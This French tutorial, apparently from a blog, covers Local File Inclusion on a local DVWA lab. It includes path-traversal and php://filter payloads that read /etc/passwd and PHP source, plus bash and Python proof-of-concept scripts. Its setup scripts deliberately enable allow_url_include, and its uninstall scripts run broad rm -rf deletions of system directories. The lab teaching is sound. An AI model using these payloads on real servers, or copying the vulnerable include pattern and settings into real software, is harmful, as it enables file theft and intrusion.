đ Introduction : Qu’est-ce qu’une LFI (Local File Inclusion) ?
La Local File Inclusion (LFI) est une vulnĂ©rabilitĂ© web qui permet Ă un attaquant dâinclure un fichier prĂ©sent sur le systĂšme de fichiers du serveur via des paramĂštres dâURL mal protĂ©gĂ©s.
Elle survient généralement quand une application PHP utilise une fonction comme include()
, require()
, ou file_get_contents()
avec une variable utilisateur non filtrée :
$page = $_GET['page']; include($page); // â ïž VulnĂ©rable !
đŻ Objectifs possibles dâune LFI :
- Lire des fichiers sensibles (
/etc/passwd
, fichiers de configâŠ), - Inclure du code malveillant dĂ©jĂ prĂ©sent sur le serveur,
- Contourner des protections (avec des wrappers comme
php://filter
), - Préparer une escalade vers une RCE (Remote Code Execution).
đŻ Objectif
Reproduire un LFI permettant de lire arbitrairement des fichiers systĂšme (/etc/passwd
), voire de bypasser les protections avec des wrappers PHP comme php://filter
.
đ§Ș Environnement de test
Tu peux utiliser une VM avec :
- DVWA (Damn Vulnerable Web App)Â sur Debian 12 ou Kali
- Un navigateur avec Burp Suite
- AccĂšs root Ă la machine cible (VM perso ou lab)
đ§ Outils requis
- Navigateur + Burp Suite
- DVWA installé : https://github.com/digininja/DVWA
- Serveur Apache ou NGINX avec PHP
- MySQL/MariaDB pour DVWA
âïž Installation de DVWA (si tu pars de 0)
# 1. Cloner le dépÎt git clone https://github.com/digininja/DVWA.git /var/www/html/dvwa # 2. Configurer Apache/Nginx + PHP + MariaDB apt install apache2 php php-mysqli mariadb-server # 3. Configurer la base mysql -u root -p CREATE DATABASE dvwa; CREATE USER 'dvwauser'@'localhost' IDENTIFIED BY 'dvwapass'; GRANT ALL ON dvwa.* TO 'dvwauser'@'localhost'; FLUSH PRIVILEGES; exit; # 4. Configurer le fichier /var/www/html/dvwa/config/config.inc.php cp config/config.inc.php.dist config/config.inc.php nano config/config.inc.php # (modifier user et pass MySQL) # 5. Démarrer les services<br>systemctl start apache2 systemctl start mysql
đŻ LFI – Ătapes de l’exploit
- Connexion à DVWA, niveau de sécurité réglé sur « Low ».
- Aller dans le menu « File Inclusion ».
- Tester ce type dâURL :
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../../../etc/passwd
Tu verras alors un dump du fichier /etc/passwd
.
đ§Ș Ătape bonus : wrapper PHP
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=index
Cela encode le contenu de index.php
en base64 et permet de lire des fichiers PHP normalement protégés (trÚs utile en pentest réel).
đ SĂ©curisation post-test
- Change le niveau de sécurité de DVWA à « High ».
- Active les protections dans Apache :Â
open_basedir
, dĂ©sactiverÂallow_url_include
, etc.
đ Script dâautomatisation (bash + curl)
Voici un script pour tester automatiquement lâaccĂšs Ă /etc/passwd
:
#!/bin/bash URL="http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../../../etc/passwd" COOKIE="security=low; PHPSESSID=xxx" # remplace PHPSESSID par ton cookie réel curl -s -b "$COOKIE" "$URL" | grep root
đŠ En rĂ©sumĂ©
ĂlĂ©ment | DĂ©tail |
---|---|
Vulnérabilité | LFI (Local File Inclusion) |
Plateforme | DVWA |
Résultat | Lire /etc/passwd , index.php |
Niveau | Facile, idéal pour lab |
đ ïž # BONUS : Script dâinstallation automatique de DVWA
#!/bin/bash # === VĂ©rifications prĂ©alables === if [ "$EUID" -ne 0 ]; then echo "Ce script doit ĂȘtre exĂ©cutĂ© en root." exit 1 fi echo "[+] Mise Ă jour du systĂšme..." apt update && apt upgrade -y echo "[+] Installation des paquets requis..." apt install -y apache2 php php-mysqli git mariadb-server libapache2-mod-php echo "[+] Clonage de DVWA..." git clone https://github.com/digininja/DVWA.git /var/www/html/dvwa echo "[+] Configuration des droits..." chown -R www-data:www-data /var/www/html/dvwa chmod -R 755 /var/www/html/dvwa echo "[+] DĂ©marrage des services..." systemctl enable apache2 mariadb systemctl start apache2 mariadb echo "[+] Configuration de la base de donnĂ©es..." mysql -u root <<EOF CREATE DATABASE dvwa; CREATE USER 'dvwauser'@'localhost' IDENTIFIED BY 'dvwapass'; GRANT ALL PRIVILEGES ON dvwa.* TO 'dvwauser'@'localhost'; FLUSH PRIVILEGES; EOF echo "[+] Configuration du fichier DVWA..." cp /var/www/html/dvwa/config/config.inc.php.dist /var/www/html/dvwa/config/config.inc.php sed -i "s/'user' => 'root'/'user' => 'dvwauser'/" /var/www/html/dvwa/config/config.inc.php sed -i "s/'password' => ''/'password' => 'dvwapass'/" /var/www/html/dvwa/config/config.inc.php echo "[+] Activation des options PHP (allow_url_include)..." PHP_INI="/etc/php/$(php -r 'echo PHP_MAJOR_VERSION.".".PHP_MINOR_VERSION;')/apache2/php.ini" sed -i 's/allow_url_include = Off/allow_url_include = On/' "$PHP_INI" sed -i 's/allow_url_fopen = Off/allow_url_fopen = On/' "$PHP_INI" systemctl restart apache2 echo "[+] PrĂ©paration de DVWA : initialisation de la base via l'interface..." curl -s -c cookies.txt -b cookies.txt "http://127.0.0.1/dvwa/setup.php" > /dev/null echo "[+] Script terminĂ©." echo echo "âĄïž AccĂšde Ă DVWA via : http://127.0.0.1/dvwa" echo "đ Identifiants par dĂ©faut : admin / password" echo echo "â Une fois connectĂ©, va dans 'DVWA Security' et sĂ©lectionne 'Low'."
đ Conseils dâusage
- Tu peux enregistrer ce script dans un fichierÂ
install_dvwa.sh
, puis le lancer :
chmod +x install_dvwa.sh sudo ./install_dvwa.sh
- Si tu es derriĂšre un proxy ou un reverse proxy, nâoublie pas dâadapter les URL et les ports.
- Pour NGINX Ă la place dâApache : je peux tâen gĂ©nĂ©rer une version adaptĂ©e (avec FPM et conf NGINX incluse), dis-le-moi !
đ§č # BONUS : Script de dĂ©sinstallation propre de DVWA + dĂ©pendances
#!/bin/bash # === VĂ©rifications prĂ©alables === if [ "$EUID" -ne 0 ]; then echo "Ce script doit ĂȘtre exĂ©cutĂ© en root." exit 1 fi read -p "â ïž Ce script va supprimer DVWA, Apache, PHP et MariaDB. Continuer ? (y/N) " confirm [[ "$confirm" != "y" ]] && echo "Abandon." && exit 1 echo "[+] Suppression des paquets..." apt purge --remove -y apache2 php* mariadb-server mariadb-client apt autoremove -y apt autoclean echo "[+] Suppression des fichiers et bases DVWA..." rm -rf /var/www/html/dvwa rm -rf /etc/apache2 rm -rf /etc/php rm -rf /var/lib/mysql rm -rf /var/log/mysql echo "[+] Fin de la dĂ©sinstallation."
đĄ Sauvegarde-le sous
uninstall_dvwa.sh
puis :
chmod +x uninstall_dvwa.sh sudo ./uninstall_dvwa.sh
đ„ # BONUS đ : Script de test automatique LFI (PoC ciblant /etc/passwd
)
Ce script suppose que DVWA est en mode « Low », que tu es connecté avec Burp ou navigateur, et que tu récupÚres ton cookie PHPSESSID.
#!/bin/bash # Remplacer par ton PHPSESSID aprĂšs connexion Ă DVWA COOKIE="security=low; PHPSESSID=changeme" URL="http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../../../etc/passwd" echo "[+] Test d'inclusion de fichier local..." curl -s -b "$COOKIE" "$URL" | grep -E '^root|/home|/bin/bash' && echo "[â ] Fichier /etc/passwd exposĂ© !" || echo "[â] Rien trouvĂ©. VĂ©rifie le cookie ou le niveau de sĂ©curitĂ©." # Bonus : wrapper base64 echo -e "\n[+] Test avec php://filter" curl -s -b "$COOKIE" "http://127.0.0.1/dvwa/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=index" | grep -E 'PD9waHAg|Q29weXJpZ2h0|dmFsdWU=' && echo "[â ] Inclusion de index.php encodĂ© dĂ©tectĂ©e." || echo "[â] Ăchec du wrapper PHP."
đĄ Sauvegarde-le sous
lfi_test.sh
, modifie le PHPSESSID et lance :
chmod +x lfi_test.sh ./lfi_test.sh
đ„ # BONUS đ : Script PYTHON
LFI PYTHON # DVWA Lab Setup Suite - Jean-Marc # ========================== # 1. INSTALL - Apache Setup # ========================== install_dvwa_apache() { echo "[Apache] Installing DVWA with Apache..." apt update && apt install -y apache2 php php-mysqli git mariadb-server libapache2-mod-php git clone https://github.com/digininja/DVWA.git /var/www/html/dvwa chown -R www-data:www-data /var/www/html/dvwa systemctl enable apache2 mariadb systemctl start apache2 mariadb mysql -u root <<EOF CREATE DATABASE dvwa; CREATE USER 'dvwauser'@'localhost' IDENTIFIED BY 'dvwapass'; GRANT ALL ON dvwa.* TO 'dvwauser'@'localhost'; FLUSH PRIVILEGES; EOF cp /var/www/html/dvwa/config/config.inc.php.dist /var/www/html/dvwa/config/config.inc.php sed -i "s/'user' => 'root'/'user' => 'dvwauser'/" /var/www/html/dvwa/config/config.inc.php sed -i "s/'password' => ''/'password' => 'dvwapass'/" /var/www/html/dvwa/config/config.inc.php PHP_INI="/etc/php/$(php -r 'echo PHP_MAJOR_VERSION.".".PHP_MINOR_VERSION')/apache2/php.ini" sed -i 's/allow_url_include = Off/allow_url_include = On/' "$PHP_INI" sed -i 's/allow_url_fopen = Off/allow_url_fopen = On/' "$PHP_INI" systemctl restart apache2 echo "[Apache] DVWA installed at: http://127.0.0.1/dvwa" } # ========================== # 2. INSTALL - NGINX Setup # ========================== install_dvwa_nginx() { echo "[NGINX] Installing DVWA with NGINX + PHP-FPM..." apt update && apt install -y nginx php-fpm php-mysqli php-curl php-gd php-xml php-mbstring php-zip mariadb-server git git clone https://github.com/digininja/DVWA.git /var/www/dvwa chown -R www-data:www-data /var/www/dvwa mysql -u root <<EOF CREATE DATABASE dvwa; CREATE USER 'dvwauser'@'localhost' IDENTIFIED BY 'dvwapass'; GRANT ALL ON dvwa.* TO 'dvwauser'@'localhost'; FLUSH PRIVILEGES; EOF cp /var/www/dvwa/config/config.inc.php.dist /var/www/dvwa/config/config.inc.php sed -i "s/'user' => 'root'/'user' => 'dvwauser'/" /var/www/dvwa/config/config.inc.php sed -i "s/'password' => ''/'password' => 'dvwapass'/" /var/www/dvwa/config/config.inc.php PHP_INI="/etc/php/$(php -r 'echo PHP_MAJOR_VERSION.".".PHP_MINOR_VERSION')/fpm/php.ini" sed -i 's/allow_url_include = Off/allow_url_include = On/' "$PHP_INI" sed -i 's/allow_url_fopen = Off/allow_url_fopen = On/' "$PHP_INI" systemctl restart php*-fpm cat <<EOF > /etc/nginx/sites-available/dvwa server { listen 80; server_name localhost; root /var/www/dvwa; index index.php index.html; location / { try_files \$uri \$uri/ =404; } location ~ \.php\$ { include snippets/fastcgi-php.conf; fastcgi_pass unix:/run/php/php$(php -r 'echo PHP_MAJOR_VERSION.".".PHP_MINOR_VERSION')-fpm.sock; } location ~ /\.ht { deny all; } } EOF ln -s /etc/nginx/sites-available/dvwa /etc/nginx/sites-enabled/ rm -f /etc/nginx/sites-enabled/default nginx -t && systemctl restart nginx echo "[NGINX] DVWA installed at: http://127.0.0.1" } # ============================ # 3. REVERSE PROXY SETUP (opt) # ============================ install_reverse_proxy() { echo "[Reverse Proxy] Installing NGINX reverse proxy to Apache..." apt install -y nginx cat <<EOF > /etc/nginx/sites-available/reverse-proxy server { listen 80; server_name localhost; location / { proxy_pass http://127.0.0.1:8080; proxy_set_header Host \$host; proxy_set_header X-Real-IP \$remote_addr; proxy_set_header X-Forwarded-For \$proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto \$scheme; } } EOF ln -s /etc/nginx/sites-available/reverse-proxy /etc/nginx/sites-enabled/ systemctl restart nginx echo "[Reverse Proxy] Active at: http://127.0.0.1/ â Apache on :8080" } # ============================= # 4. LFI PoC Test Script (curl) # ============================= lfi_test() { echo "[PoC] Test LFI on DVWA (curl)" echo "Remplacer le PHPSESSID avant usage." COOKIE="security=low; PHPSESSID=changeme" curl -s -b "$COOKIE" "http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../../../etc/passwd" | grep -E '^root|/bin/bash' echo -e "\n[+] php://filter test" curl -s -b "$COOKIE" "http://127.0.0.1/dvwa/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=index" | grep 'PD9waHAg' } # ============================= # 5. LFI PoC Test Script (Python) # ============================= lfi_test_python() { echo "[PoC] LFI Python script - replace session before using." cat <<EOF > lfi_poc.py import requests url = "http://127.0.0.1/dvwa/vulnerabilities/fi/" cookie = {"PHPSESSID": "changeme", "security": "low"} payloads = ["../../../../etc/passwd", "php://filter/convert.base64-encode/resource=index"] for payload in payloads: params = {"page": payload} r = requests.get(url, params=params, cookies=cookie) print(f"\n[+] Payload: {payload}\n{'='*40}\n") print(r.text[:1000]) EOF echo "[+] Python PoC created: lfi_poc.py" echo "â ïž N'oublie pas de modifier le PHPSESSID dans le script." } # ========================== # 6. UNINSTALL ALL CLEANLY # ========================== uninstall_dvwa() { echo "[UNINSTALL] Remove DVWA, Apache/NGINX, PHP & MariaDB" apt purge --remove -y apache2 nginx php* mariadb-server mariadb-client apt autoremove -y && apt autoclean rm -rf /var/www/html/dvwa /var/www/dvwa /etc/nginx/sites-{available,enabled}/dvwa /etc/apache2 /etc/php /var/lib/mysql /var/log/mysql echo "[UNINSTALL] Clean complete." } # ========================== # MAIN MENU # ========================== case "$1" in install-apache) install_dvwa_apache ;; install-nginx) install_dvwa_nginx ;; reverse-proxy) install_reverse_proxy ;; lfi-test) lfi_test ;; lfi-test-python) lfi_test_python ;; uninstall) uninstall_dvwa ;; *) echo "Usage: $0 {install-apache|install-nginx|reverse-proxy|lfi-test|lfi-test-python|uninstall}" ;; esac
â
Le script Dvwa Lab Setup
contient désormais une fonction lfi_test_python
qui génÚre un PoC Python exploitant une LFI sur DVWA avec :
- Session PHP configurable
- Test automatique de :
../../../../etc/passwd
php://filter/convert.base64-encode/resource=index
â¶ïž Pour gĂ©nĂ©rer le PoC :
bash ./dvwa_setup.sh lfi-test-python
Un fichier lfi_poc.py
sera créé dans le dossier courant.